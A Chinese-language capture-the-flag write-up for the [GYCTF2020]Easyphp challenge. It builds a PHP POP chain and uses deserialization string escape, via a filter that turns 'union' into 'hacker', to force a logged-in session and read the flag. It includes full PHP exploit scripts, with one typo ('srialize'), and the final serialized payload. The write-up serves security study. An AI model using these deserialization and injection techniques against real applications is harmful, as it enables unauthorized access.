pop链4之反序列化逃逸

pop链4之反序列化逃逸([GYCTF2020]Easyphp)

打开页面,发现是一个登录界面,所以我们尝试sql注入闭合测试,发现不行,然后dirsearch扫描目录,发现有

1
www.zip

泄露,所以审计源码

在lib.php中的User类中的__destruct()方法有一个危险函数file_get_contents(),但是由于safe函数过滤掉了flag,所以不可以使用,所以我们可以看向update.php文件,发现

1
2
3
4
if($_SESSION['login']===1){
require_once("flag.php");
echo $flag;
}

但是如何让$_SESSION[‘login’]=1,我们可以看向lib.php文件中的User类中的

1
2
3
if($this->id){
$_SESSION['id']=$this->id;
$_SESSION['login']=1;

我们可以看见只要存在$this->id就是可以让$_SESSION[‘login’]为1,而$this->id实际为dbCtrl类的login()方法中的$idResult,而如果要让return $idResult,则要么

1
2
3
if ($this->token=='admin') {
return $idResult;
}

要么绕过这个if

1
if (md5($this->password)!==$passwordResult)

而$passwordResult是从数据库中读出来的,所以我们需要控制提交的sql语句,从而绕过if,得到$passwordResult,所以我们要想办法调用dbCtrl类的login()方法,且参数的值为自定义的sql语言,所以我们可以构造pop链

魔术方法

1
2
3
__call:对象调用不可访问的函数时可以触发

__toString():当类的对象被当作字符串操作时会被调用

所以我们可以构造一条pop链

1
UpdateHelper::__destruct() --> User::__toString() --> info::__call()

所以可以exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class User
{
public $id;
public $age='select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
public $nickname;

public function __toString()
{
$this->nickname->update($this->age);
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name,$argument){
$this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

public function __destruct()
{
$this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password='1';//字符串1,不是数字1
public $mysqli;
public $token;

}

$a=new UpdateHelper();
$a->sql=new User();
$a->sql->nickname=new Info();
$a->sql->nickname->CtrlCase=new dbCtrl();

echo serialize($a);
?>

而由于这里是反序列化实例化对象,所以我们也需要将上面得到的结果放入Info类中,exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
class User
{
public $id;
public $age='select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?';
public $nickname;

public function __toString()
{
$this->nickname->update($this->age);
}
}
class Info{
public $age;
public $nickname;
public $CtrlCase;
public function __call($name,$argument){
$this->CtrlCase->login($argument[0]);
}
}
Class UpdateHelper{
public $id;
public $newinfo;
public $sql;

public function __destruct()
{
$this->sql;
}
}
class dbCtrl
{
public $hostname="127.0.0.1";
public $dbuser="root";
public $dbpass="root";
public $database="test";
public $name='admin';
public $password='1';//字符串1,不是数字1
public $mysqli;
public $token;

}

$a=new UpdateHelper();
$a->sql=new User();
$a->sql->nickname=new Info();
$a->sql->nickname->CtrlCase=new dbCtrl();

$b=new Info();
$b->nickname=serialize($a);
echo srialize($b);
?>

得到

1
O:4:"Info":3:{s:3:"age";N;s:8:"nickname";s:447:"O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}";s:8:"CtrlCase";N;}

由于它还要经过序列化,所以我们可以通过反序列化逃逸来绕过它这次的序列化,我们可以将这部分分离出来

1
O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}}

然后在前面加上

1
;s:8:"CtrlCase";

因为要与原来的一样,然后由于有safe函数,所以可以利用union替换为hacker增加一个字符,所以我们可以构造payload

1
unionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunionunion";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:71:"select id,"c4ca4238a0b923820dcc509a6f75849b" from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";N;s:8:"nickname";N;s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";s:1:"1";s:6:"mysqli";N;s:5:"token";N;}}}};}

此时$_SESSION[‘token’]=”admin”,所以我们回到登录界面,任意登录即可获得flag

参考文章:[https://www.jianshu.com/p/21b5dd45724c]